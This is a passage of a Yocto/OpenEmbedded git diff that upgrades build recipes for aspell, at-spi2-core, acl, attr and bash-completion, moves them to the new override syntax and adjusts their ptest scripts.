Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/ericonr/argp-standalone/pull/9]
Index: argp-standalone-1.3/testsuite/Makefile.am
===================================================================
--- argp-standalone-1.3.orig/testsuite/Makefile.am
diff --git a/meta/recipes-support/aspell/aspell_0.60.8.1.bb b/meta/recipes-support/aspell/aspell_0.60.8.1.bb
new file mode 100644
index 0000000000..0ea9b063e0
--- /dev/null
+++ b/meta/recipes-support/aspell/aspell_0.60.8.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "GNU Aspell spell-checker"
+
+DESCRIPTION = "Spell checker designed to eventually replace Ispell. \
+It can either be used as a library or as an independent spell checker. \
+Its main feature is that it does a superior job of suggesting possible \
+replacements for a misspelled word than just about any other spell \
+checker out there for the English language."
+
+SECTION = "console/utils"
+
+HOMEPAGE = "http://aspell.net/"
+
+LICENSE = "LGPL-2.0-only | LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
+
+SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz"
+SRC_URI[sha256sum] = "d6da12b34d42d457fa604e435ad484a74b2effcd120ff40acd6bb3fb2887d21b"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses"
+
+PACKAGES += "libaspell libpspell aspell-utils"
+
+RDEPENDS:${PN}-utils += "perl"
+
+FILES:libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
+FILES:aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
+FILES:${PN} = "${bindir}/aspell"
+FILES:libpspell = "${libdir}/libpspell.so.*"
+FILES:${PN}-dev += "${bindir}/pspell-config"
+
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+inherit autotools-brokensep gettext texinfo binconfig-disabled
+
+BINCONFIG = "${bindir}/pspell-config"
diff --git a/meta/recipes-support/aspell/aspell_0.60.8.bb b/meta/recipes-support/aspell/aspell_0.60.8.bb
deleted file mode 100644
index 629987810a..0000000000
--- a/meta/recipes-support/aspell/aspell_0.60.8.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "GNU Aspell spell-checker"
-SECTION = "console/utils"
-
-LICENSE = "LGPLv2 | LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz"
-SRC_URI[md5sum] = "012fa9209203ae4e5a61c2a668fd10e3"
-SRC_URI[sha256sum] = "f9b77e515334a751b2e60daab5db23499e26c9209f5e7b7443b05235ad0226f2"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses"
-
-PACKAGES += "libaspell libpspell aspell-utils"
-
-RDEPENDS_${PN}-utils += "perl"
-
-FILES_libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
-FILES_aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
-FILES_${PN} = "${bindir}/aspell"
-FILES_libpspell = "${libdir}/libpspell.so.*"
-FILES_${PN}-dev += "${bindir}/pspell-config"
-
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-inherit autotools-brokensep gettext texinfo binconfig-disabled
-
-BINCONFIG = "${bindir}/pspell-config"
diff --git a/meta/recipes-support/atk/at-spi2-atk_2.34.2.bb b/meta/recipes-support/atk/at-spi2-atk_2.34.2.bb
deleted file mode 100644
index 02a4d4712c..0000000000
--- a/meta/recipes-support/atk/at-spi2-atk_2.34.2.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "AT-SPI 2 Toolkit Bridge"
-HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
-LICENSE = "LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI[archive.md5sum] = "58cd278574e101363b18d9a8b7053d67"
-SRC_URI[archive.sha256sum] = "901323cee0eef05c01ec4dee06c701aeeca81a314a7d60216fa363005e27f4f0"
-
-DEPENDS = "dbus glib-2.0 glib-2.0-native atk at-spi2-core libxml2"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase upstream-version-is-even
-
-PACKAGES =+ "${PN}-gnome ${PN}-gtk2"
-
-FILES_${PN}-gnome = "${libdir}/gnome-settings-daemon-3.0/gtk-modules"
-FILES_${PN}-gtk2 = "${libdir}/gtk-2.0/modules/libatk-bridge.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-core_2.36.0.bb b/meta/recipes-support/atk/at-spi2-core_2.36.0.bb
deleted file mode 100644
index c5d01c9294..0000000000
--- a/meta/recipes-support/atk/at-spi2-core_2.36.0.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Assistive Technology Service Provider Interface (dbus core)"
-HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
-LICENSE = "LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "f101d111b06293d15738afc904c1d931"
-SRC_URI[sha256sum] = "88da57de0a7e3c60bc341a974a80fdba091612db3547c410d6deab039ca5c05a"
-
-X11DEPENDS = "virtual/libx11 libxi libxtst"
-
-DEPENDS = "dbus glib-2.0"
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '${X11DEPENDS}', '', d)}"
-
-inherit meson gtk-doc gettext systemd pkgconfig upstream-version-is-even gobject-introspection
-
-EXTRA_OEMESON = " -Dsystemd_user_dir=${systemd_user_unitdir} \
- -Ddbus_daemon=${bindir}/dbus-daemon \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '-Dx11=yes', '-Dx11=no', d)} \
-"
-
-GTKDOC_MESON_OPTION = "docs"
-
-GIR_MESON_OPTION = 'introspection'
-GIR_MESON_ENABLE_FLAG = 'yes'
-GIR_MESON_DISABLE_FLAG = 'no'
-
-FILES_${PN} += "${datadir}/dbus-1/services/*.service \
- ${datadir}/dbus-1/accessibility-services/*.service \
- ${datadir}/defaults/at-spi2 \
- ${systemd_user_unitdir}/at-spi-dbus-bus.service \
- "
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-core_2.52.0.bb b/meta/recipes-support/atk/at-spi2-core_2.52.0.bb
new file mode 100644
index 0000000000..cf221e0389
--- /dev/null
+++ b/meta/recipes-support/atk/at-spi2-core_2.52.0.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Assistive Technology Service Provider Interface (dbus core)"
+
+DESCRIPTION = "It provides a Service Provider Interface for the Assistive Technologies available on the GNOME platform and a library against which applications can be linked."
+
+HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
+BUGTRACKER = "http://bugzilla.gnome.org/"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "0ac3fc8320c8d01fa147c272ba7fa03806389c6b03d3c406d0823e30e35ff5ab"
+
+DEPENDS = " \
+ dbus \
+ glib-2.0 \
+ glib-2.0-native \
+ libxml2 \
+ ${@'python3-sphinx-native' if d.getVar('GIDOCGEN_ENABLED') == 'True' else ''} \
+"
+
+# For backwards compatibility
+PROVIDES += "atk at-spi2-atk"
+RPROVIDES:${PN} += "atk at-spi2-atk"
+
+inherit meson gi-docgen gettext systemd pkgconfig upstream-version-is-even gobject-introspection
+
+EXTRA_OEMESON = " -Dsystemd_user_dir=${systemd_user_unitdir} \
+ -Ddbus_daemon=${bindir}/dbus-daemon"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG[x11] = "-Dx11=enabled,-Dx11=disabled,virtual/libx11 libxi libxtst"
+
+GIDOCGEN_MESON_OPTION = "docs"
+GIR_MESON_OPTION = 'introspection'
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+FILES:${PN} += "${libdir}/gnome-settings-daemon-3.0/gtk-modules/at-spi2-atk.desktop \
+ ${libdir}/gtk-2.0/modules/libatk-bridge.so \
+ ${datadir}/dbus-1/services/*.service \
+ ${datadir}/dbus-1/accessibility-services/*.service \
+ ${datadir}/defaults/at-spi2 \
+ ${systemd_user_unitdir}/at-spi-dbus-bus.service \
+ "
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/atk_2.36.0.bb b/meta/recipes-support/atk/atk_2.36.0.bb
deleted file mode 100644
index 0786eeebe8..0000000000
--- a/meta/recipes-support/atk/atk_2.36.0.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Accessibility toolkit for GNOME"
-HOMEPAGE = "http://live.gnome.org/GAP/"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-SECTION = "x11/libs"
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
- file://atk/atkutil.c;endline=18;md5=6fd31cd2fdc9b30f619ca8d819bc12d3 \
- file://atk/atk.h;endline=18;md5=fcd7710187e0eae485e356c30d1b0c3b"
-
-# Need gettext-native as Meson can't turn off i18n
-DEPENDS = "gettext-native glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gtk-doc gettext upstream-version-is-even gobject-introspection
-
-SRC_URI[archive.md5sum] = "01aa5ec5138f5f8c9b3a4e3196ed2900"
-SRC_URI[archive.sha256sum] = "fb76247e369402be23f1f5c65d38a9639c1164d934e40f6a9cf3c9e96b652788"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch b/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch
index ba2ffee5d2..219feaccd0 100644
--- a/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch
+++ b/meta/recipes-support/attr/acl/0001-test-patch-out-failing-bits.patch
@@ -1,4 +1,4 @@
-From 9e08219e0e99ee2589cf35fa8d52cef3515accce Mon Sep 17 00:00:00 2001
+From 7dec6fa3b3494a55120402ff1ea3eb96b67138e8 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 12 Dec 2019 15:47:49 +0100
Subject: [PATCH] test: patch out failing bits
@@ -58,6 +58,3 @@ index 8f8f825..21e8a95 100644
$ : > f
$ : <> f
>~ .*f: Permission denied$
---
-2.17.1
-
diff --git a/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch b/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch
index 57ef0bb728..748f37f3e7 100644
--- a/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch
+++ b/meta/recipes-support/attr/acl/0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch
@@ -1,4 +1,4 @@
-From 39d332a8801de5d9ef09dacb3dba85c208b7b2ad Mon Sep 17 00:00:00 2001
+From 42ae3f8a5e32ba0681ccd1552a203ddad8748a6e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 12 Dec 2019 13:45:52 +0100
Subject: [PATCH] tests: do not hardcode the build path into a helper library
@@ -10,7 +10,7 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/test/Makemodule.am b/test/Makemodule.am
-index 17d4927..015de7f 100644
+index e1d715d..cffe732 100644
--- a/test/Makemodule.am
+++ b/test/Makemodule.am
@@ -30,7 +30,7 @@ EXTRA_DIST += \
@@ -21,4 +21,4 @@ index 17d4927..015de7f 100644
+libtestlookup_la_CFLAGS = -DBASEDIR=\"/tmp/acl-ptest\"
libtestlookup_la_LDFLAGS = -rpath $(abs_builddir)
- AM_TESTS_ENVIRONMENT = PATH="$(abs_top_builddir):$$PATH";
+ # Make sure translations don't break tests when matching output.
diff --git a/meta/recipes-support/attr/acl/run-ptest b/meta/recipes-support/attr/acl/run-ptest
index 4312823365..3af75c84fe 100644
--- a/meta/recipes-support/attr/acl/run-ptest
+++ b/meta/recipes-support/attr/acl/run-ptest
@@ -7,4 +7,10 @@
mkdir -p /tmp/acl-ptest/test
cp test/test.* /tmp/acl-ptest/test
+set +e
make test-suite.log
+exitcode=$?
+if [ $exitcode -ne 0 -a -e test-suite.log ]; then
+ cat test-suite.log
+fi
+exit $exitcode
diff --git a/meta/recipes-support/attr/acl_2.2.53.bb b/meta/recipes-support/attr/acl_2.2.53.bb
deleted file mode 100644
index 5bb50f77f7..0000000000
--- a/meta/recipes-support/attr/acl_2.2.53.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-SUMMARY = "Utilities for managing POSIX Access Control Lists"
-HOMEPAGE = "http://savannah.nongnu.org/projects/acl/"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+ & GPLv2+"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_lib${BPN} = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://doc/COPYING;md5=c781d70ed2b4d48995b790403217a249 \
- file://doc/COPYING.LGPL;md5=9e9a206917f8af112da634ce3ab41764"
-
-DEPENDS = "attr"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/acl/${BP}.tar.gz \
- file://run-ptest \
- file://0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch \
- file://0001-test-patch-out-failing-bits.patch \
- "
-
-SRC_URI[md5sum] = "007aabf1dbb550bcddde52a244cd1070"
-SRC_URI[sha256sum] = "06be9865c6f418d851ff4494e12406568353b891ffe1f596b34693c387af26c7"
-
-inherit autotools gettext ptest
-
-PACKAGES =+ "lib${BPN}"
-
-FILES_lib${BPN} = "${libdir}/lib*${SOLIBS}"
-
-PTEST_BUILD_HOST_FILES = "builddefs"
-PTEST_BUILD_HOST_PATTERN = "^RPM"
-
-do_compile_ptest() {
- oe_runmake libtestlookup.la
-}
-
-do_install_ptest() {
- cp -rf ${S}/test/ ${D}${PTEST_PATH}
- cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}
- mkdir -p ${D}${PTEST_PATH}/.libs
- cp -rf ${B}/.libs/libtestlookup* ${D}${PTEST_PATH}/.libs
- cp ${B}/Makefile ${D}${PTEST_PATH}
-
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -i ${D}${PTEST_PATH}/Makefile
-
- sed -i "s|^srcdir =.*|srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
- sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
- sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" ${D}${PTEST_PATH}/Makefile
- sed -i "s|^Makefile:.*|Makefile:|g" ${D}${PTEST_PATH}/Makefile
-
- rm ${D}${PTEST_PATH}/.libs/libtestlookup.lai
-}
-
-RDEPENDS_${PN}-ptest = "acl \
- bash \
- coreutils \
- perl \
- perl-module-filehandle \
- perl-module-getopt-std \
- perl-module-posix \
- shadow \
- make \
- gawk \
- e2fsprogs-mke2fs \
- perl-module-cwd \
- perl-module-file-basename \
- perl-module-file-path \
- perl-module-file-spec \
- "
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/acl_2.3.2.bb b/meta/recipes-support/attr/acl_2.3.2.bb
new file mode 100644
index 0000000000..6178473873
--- /dev/null
+++ b/meta/recipes-support/attr/acl_2.3.2.bb
@@ -0,0 +1,85 @@
+SUMMARY = "Utilities for managing POSIX Access Control Lists"
+DESCRIPTION = "ACL allows you to provide different levels of access to files \
+and folders for different users."
+
+HOMEPAGE = "http://savannah.nongnu.org/projects/acl/"
+BUGTRACKER = "http://savannah.nongnu.org/bugs/?group=acl"
+
+SECTION = "libs"
+
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:lib${BPN} = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=c781d70ed2b4d48995b790403217a249 \
+ file://doc/COPYING.LGPL;md5=9e9a206917f8af112da634ce3ab41764"
+
+DEPENDS = "attr"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/acl/${BP}.tar.gz \
+ file://run-ptest \
+ file://0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch \
+ file://0001-test-patch-out-failing-bits.patch \
+ "
+
+SRC_URI[sha256sum] = "5f2bdbad629707aa7d85c623f994aa8a1d2dec55a73de5205bac0bf6058a2f7c"
+
+inherit autotools gettext ptest
+
+EXTRA_OECONF += "--enable-largefile"
+
+PACKAGES =+ "lib${BPN}"
+
+FILES:lib${BPN} = "${libdir}/lib*${SOLIBS}"
+
+PTEST_BUILD_HOST_FILES = "builddefs"
+PTEST_BUILD_HOST_PATTERN = "^RPM"
+
+do_compile_ptest() {
+ oe_runmake libtestlookup.la
+}
+
+do_install_ptest() {
+ cp -rf ${S}/test/ ${D}${PTEST_PATH}
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}
+ mkdir -p ${D}${PTEST_PATH}/.libs
+ cp -rf ${B}/.libs/libtestlookup* ${D}${PTEST_PATH}/.libs
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ sed -i "s|^srcdir =.*|srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" ${D}${PTEST_PATH}/Makefile
+
+ rm ${D}${PTEST_PATH}/.libs/libtestlookup.lai
+}
+
+do_install_ptest:append:libc-musl() {
+ sed -i -e '/test\/misc.test/d' ${D}${PTEST_PATH}/Makefile
+}
+
+RDEPENDS:${PN}-ptest = "acl \
+ bash \
+ coreutils \
+ perl \
+ perl-module-constant \
+ perl-module-filehandle \
+ perl-module-getopt-std \
+ perl-module-posix \
+ shadow \
+ make \
+ gawk \
+ e2fsprogs-mke2fs \
+ perl-module-cwd \
+ perl-module-file-basename \
+ perl-module-file-path \
+ perl-module-file-spec \
+ "
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr.inc b/meta/recipes-support/attr/attr.inc
index f13a83a7b4..75d616893a 100644
--- a/meta/recipes-support/attr/attr.inc
+++ b/meta/recipes-support/attr/attr.inc
@@ -1,28 +1,32 @@
SUMMARY = "Utilities for manipulating filesystem extended attributes"
+DESCRIPTION = "Implement the ability for a user to attach name:value pairs to objects within the XFS filesystem."
+
HOMEPAGE = "http://savannah.nongnu.org/projects/attr/"
SECTION = "libs"
DEPENDS = "virtual/libintl"
-LICENSE = "LGPLv2.1+ & GPLv2+"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_lib${BPN} = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:lib${BPN} = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://doc/COPYING;md5=2d0aa14b3fce4694e4f615e30186335f \
+ file://doc/COPYING.LGPL;md5=b8d31f339300bc239d73461d68e77b9c \
file://tools/attr.c;endline=17;md5=be0403261f0847e5f43ed5b08d19593c \
file://libattr/libattr.c;endline=17;md5=7970f77049f8fa1199fff62a7ab724fb"
SRC_URI = "${SAVANNAH_GNU_MIRROR}/attr/${BP}.tar.gz \
file://run-ptest \
+ file://0001-attr.c-Include-libgen.h-for-posix-version-of-basenam.patch \
"
inherit ptest update-alternatives autotools gettext
PACKAGES =+ "lib${BPN}"
-FILES_lib${BPN} = "${libdir}/lib*${SOLIBS}"
+FILES:lib${BPN} = "${libdir}/lib*${SOLIBS} ${sysconfdir}"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "setfattr"
+ALTERNATIVE:${PN} = "setfattr"
ALTERNATIVE_TARGET[setfattr] = "${bindir}/setfattr"
PTEST_BUILD_HOST_FILES = "builddefs"
@@ -45,8 +49,14 @@ do_install_ptest() {
cp -rf ${S}/test/ ${D}${PTEST_PATH}
}
-RDEPENDS_${PN}-ptest = "attr \
+do_install_ptest:append:libc-musl() {
+ sed -i -e 's|f: Operation n|f: N|g' ${D}${PTEST_PATH}/test/attr.test
+}
+
+RDEPENDS:${PN}-ptest = "attr \
+ bash \
coreutils \
+ perl-module-constant \
perl-module-filehandle \
perl-module-getopt-std \
perl-module-posix \
diff --git a/meta/recipes-support/attr/attr/0001-attr.c-Include-libgen.h-for-posix-version-of-basenam.patch b/meta/recipes-support/attr/attr/0001-attr.c-Include-libgen.h-for-posix-version-of-basenam.patch
new file mode 100644
index 0000000000..1e2bea5067
--- /dev/null
+++ b/meta/recipes-support/attr/attr/0001-attr.c-Include-libgen.h-for-posix-version-of-basenam.patch
@@ -0,0 +1,35 @@
+From 6d9e827bcacf387bb3cfae64bd4fe520168ccad4 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 3 Dec 2023 19:29:27 -0800
+Subject: [PATCH] attr.c: Include libgen.h for posix version of basename API
+
+Musl has removed the definition from string.h [1] which results in
+compile failures with clang
+
+| ../attr-2.5.1/tools/attr.c:69:13: error: call to undeclared function 'basename'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
+| 69 | progname = basename(argv[0]);
+| | ^
+
+[1] https://git.musl-libc.org/cgit/musl/commit/?id=725e17ed6dff4d0cd22487bb64470881e86a92e7
+
+Upstream-Status: Submitted [https://savannah.nongnu.org/bugs/index.php?64972]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ tools/attr.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/tools/attr.c b/tools/attr.c
+index 312aef1..90dab83 100644
+--- a/tools/attr.c
++++ b/tools/attr.c
+@@ -26,6 +26,7 @@
+ #include <stdlib.h>
+ #include <unistd.h>
+ #include <errno.h>
++#include <libgen.h>
+ #include <string.h>
+ #include <locale.h>
+
+--
+2.43.0
+
diff --git a/meta/recipes-support/attr/attr/run-ptest b/meta/recipes-support/attr/attr/run-ptest
index f64244f239..3e7a3a17a0 100644
--- a/meta/recipes-support/attr/attr/run-ptest
+++ b/meta/recipes-support/attr/attr/run-ptest
@@ -1,3 +1,10 @@
#!/bin/sh
+set +e
make test-suite.log
+exitcode=$?
+if [ $exitcode -ne 0 -a -e test-suite.log ]; then
+ cat test-suite.log
+fi
+exit $exitcode
+
diff --git a/meta/recipes-support/attr/attr_2.4.48.bb b/meta/recipes-support/attr/attr_2.4.48.bb
deleted file mode 100644
index 530d4e4883..0000000000
--- a/meta/recipes-support/attr/attr_2.4.48.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require attr.inc
-
-SRC_URI[md5sum] = "bc1e5cb5c96d99b24886f1f527d3bb3d"
-SRC_URI[sha256sum] = "5ead72b358ec709ed00bbf7a9eaef1654baad937c001c044fe8b74c57f5324e7"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr_2.5.2.bb b/meta/recipes-support/attr/attr_2.5.2.bb
new file mode 100644
index 0000000000..2110c6d885
--- /dev/null
+++ b/meta/recipes-support/attr/attr_2.5.2.bb
@@ -0,0 +1,5 @@
+require attr.inc
+
+SRC_URI[sha256sum] = "39bf67452fa41d0948c2197601053f48b3d78a029389734332a6309a680c6c87"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/bash-completion/bash-completion_2.11.bb b/meta/recipes-support/bash-completion/bash-completion_2.11.bb
deleted file mode 100644
index da0baa7afc..0000000000
--- a/meta/recipes-support/bash-completion/bash-completion_2.11.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Programmable Completion for Bash 4"
-HOMEPAGE = "http://bash-completion.alioth.debian.org/"
-BUGTRACKER = "https://alioth.debian.org/projects/bash-completion/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SECTION = "console/utils"
-
-SRC_URI = "https://github.com/scop/bash-completion/releases/download/${PV}/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "2514c6772d0de6254758b98c53f91861"
-SRC_URI[sha256sum] = "73a8894bad94dee83ab468fa09f628daffd567e8bef1a24277f1e9a0daf911ac"
-UPSTREAM_CHECK_REGEX = "bash-completion-(?P<pver>(?!2008).+)\.tar"
-UPSTREAM_CHECK_URI = "https://github.com/scop/bash-completion/releases"
-
-PARALLEL_MAKE = ""
-
-inherit autotools
-
-do_install_append() {
- # compatdir
- install -d ${D}${sysconfdir}/bash_completion.d/
- echo '. ${datadir}/${BPN}/bash_completion' >${D}${sysconfdir}/bash_completion
-
-}
-
-RDEPENDS_${PN} = "bash"
-
-# Some recipes are providing ${PN}-bash-completion packages
-PACKAGES =+ "${PN}-extra"
-FILES_${PN}-extra = "${datadir}/${BPN}/completions/ \
- ${datadir}/${BPN}/helpers/"
-
-FILES_${PN}-dev += "${datadir}/cmake"
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/bash-completion/bash-completion_2.13.0.bb b/meta/recipes-support/bash-completion/bash-completion_2.13.0.bb
new file mode 100644
index 0000000000..f75d61e219
--- /dev/null
+++ b/meta/recipes-support/bash-completion/bash-completion_2.13.0.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Programmable Completion for Bash 4"
+DESCRIPTION = "Collection of command line command completions for the Bash shell, \
+collection of helper functions to assist in creating new completions, \
+and set of facilities for loading completions automatically on demand, as well \
+as installing them."
+
+HOMEPAGE = "https://github.com/scop/bash-completion"
+BUGTRACKER = "https://github.com/scop/bash-completion/issues"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SECTION = "console/utils"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "c5f99a39e40f0d154c03ff15438e87ece1f5ac666336a4459899e2ff4bedf3d1"
+GITHUB_BASE_URI = "https://github.com/scop/bash-completion/releases"
+
+PARALLEL_MAKE = ""
+
+inherit autotools github-releases
+
+do_install:append() {
+ # compatdir
+ install -d ${D}${sysconfdir}/bash_completion.d/
+ echo '. ${datadir}/${BPN}/bash_completion' >${D}${sysconfdir}/bash_completion
+
+}
+
+RDEPENDS:${PN} = "bash"
+
+# Some recipes are providing ${PN}-bash-completion packages
+PACKAGES =+ "${PN}-extra"
+FILES:${PN}-extra = "${datadir}/${BPN}/completions/ \
+ ${datadir}/${BPN}/helpers/"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb b/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb
deleted file mode 100644
index fd57f8f7f0..0000000000
--- a/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Tools to generate block map (AKA bmap) and flash images using bmap"
-DESCRIPTION = "Bmap-tools - tools to generate block map (AKA bmap) and flash images using \
-bmap. Bmaptool is a generic tool for creating the block map (bmap) for a file, \
-and copying files using the block map. The idea is that large file containing \
-unused blocks, like raw system image files, can be copied or flashed a lot \
-faster with bmaptool than with traditional tools like "dd" or "cp"."
-HOMEPAGE = "https://github.com/01org/bmap-tools"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/intel/${BPN}"
-
-SRCREV = "a17f0e3ff8669dd3b1c44a741ae4f8162155faed"
-S = "${WORKDIR}/git"
-PV .= "+git${SRCPV}"
-
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-
